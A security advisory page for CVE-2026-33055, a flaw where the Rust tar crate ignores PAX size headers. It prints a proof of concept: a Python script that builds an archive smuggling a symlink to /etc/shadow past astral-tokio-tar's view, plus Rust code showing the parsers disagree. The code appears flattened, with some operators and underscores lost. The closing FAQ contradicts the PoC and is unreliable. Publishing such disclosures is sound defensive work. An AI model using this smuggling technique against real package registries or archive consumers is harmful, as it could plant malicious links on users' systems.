CVE-2026-33055: tar-rs incorrectly ignores PAX size headers if header size is nonzero

Published Mar 20, 2026
·
Updated

Summary

As part of CVE-2025-62518 the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header.

However, it was missed at the time that this project (the original Rust tar crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue.

The problem here is that any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers.

In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override.

Details

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

PoC

(originally posted by https://github.com/xokdvium)

I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links:

It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by astral-tokio-tar but not by tar-rs.

https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344

python #!/usr/bin/env python3 B = 512

def pad(d): r = len(d) % B return d + b"\0" (B - r) if r else d

def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h)

INFLATED = 2048 paxrec = b"13 size=2048\n"

ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(paxrec), typ=b"x") ar += pad(paxrec)

content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content)

ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" B 2

used = len(ar) - mark if used < INFLATED: ar += b"\0" (((INFLATED - used + B - 1) // B) B) ar += b"\0" B 2

open("smuggle.tar", "wb").write(bytes(ar))

tar-rs and astral-tokio-tar parse it differently, with astral-tokio-tar skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/cratesiotarball/src/lib.rs#L92-L102 wouldn't disallow it).

rust use std::fs; use std::path::PathBuf;

fn syncparse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().topathbuf(); let kind = e.header().entrytype(); let link: Option<PathBuf> = e.linkname().ok().flatten().map(|l| l.topathbuf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }

async fn asyncparse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokiotar::Archive::new(data.asslice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokiostream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().topathbuf(); let kind = e.header().entrytype(); let link: Option<PathBuf> = e.linkname().ok().flatten().map(|l| l.topathbuf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); }

#[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrapor("smuggle.tar".into()); let data = fs::read(&path).unwrap(); syncparse(&data); asyncparse(data).await; }

tar: regular.txt Regular smuggled Symlink -> /etc/shadow

astral-tokio-tar: regular.txt Regular

Impact

This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses astral-tokio-tar to parse, but cargo uses tar.

Other sources

tar-rs incorrectly ignores PAX size headers if header size is nonzero

Microsoft

tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.

MITRE

Affected Software

12 affected componentsFixes available
crates/tar<=0.4.44
rust/tar<=0.4.44
0.4.45
alexcrichton Tar-rs Rust<0.4.45
Microsoft azl3 trident 0.21.0-1
Microsoft azl3 rust 1.75.0-27
Microsoft azl3 rust 1.90.0-6
Microsoft cbl2 rust 1.72.0-15
Microsoft azl3 clamav 1.5.2-1
Microsoft azl3 rpm-ostree 2024.4-8
Microsoft cbl2 rpm-ostree 2022.1-8
Microsoft azl3 clamav 1.5.2-2
Microsoft azl3 rpm-ostree 2024.4-10

Event History

Mar 20, 2026
CVE Published
via MITRE·07:06 AM
Data Sourced
via MITRE·07:06 AM
DescriptionWeakness
Data Sourced
via NVD·07:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·05:25 PM
Data Sourced
via GitHub·05:25 PM
DescriptionWeaknessAffected Software
Data Sourced
via GitHub·05:25 PM
Severity
Mar 25, 2026
Data Sourced
via Microsoft·08:02 AM
DescriptionSeverityWeaknessAffected Software
Updated
via Microsoft·08:02 AM
DescriptionSeverity
Updated
via Microsoft·08:02 AM
Affected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33055?

CVE-2026-33055 has been classified with a moderate severity due to potential denial of service risks.

2

How do I fix CVE-2026-33055?

To fix CVE-2026-33055, update the tar-rs library to version 0.4.45 or higher.

3

Which versions of tar-rs are affected by CVE-2026-33055?

Versions of tar-rs up to and including 0.4.44 are affected by CVE-2026-33055.

4

What impact does CVE-2026-33055 have on applications using tar-rs?

CVE-2026-33055 can lead to incorrect handling of PAX size headers, potentially resulting in data corruption.

5

Is there a known exploit for CVE-2026-33055?

Currently, there are no publicly known exploits specifically targeting CVE-2026-33055.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203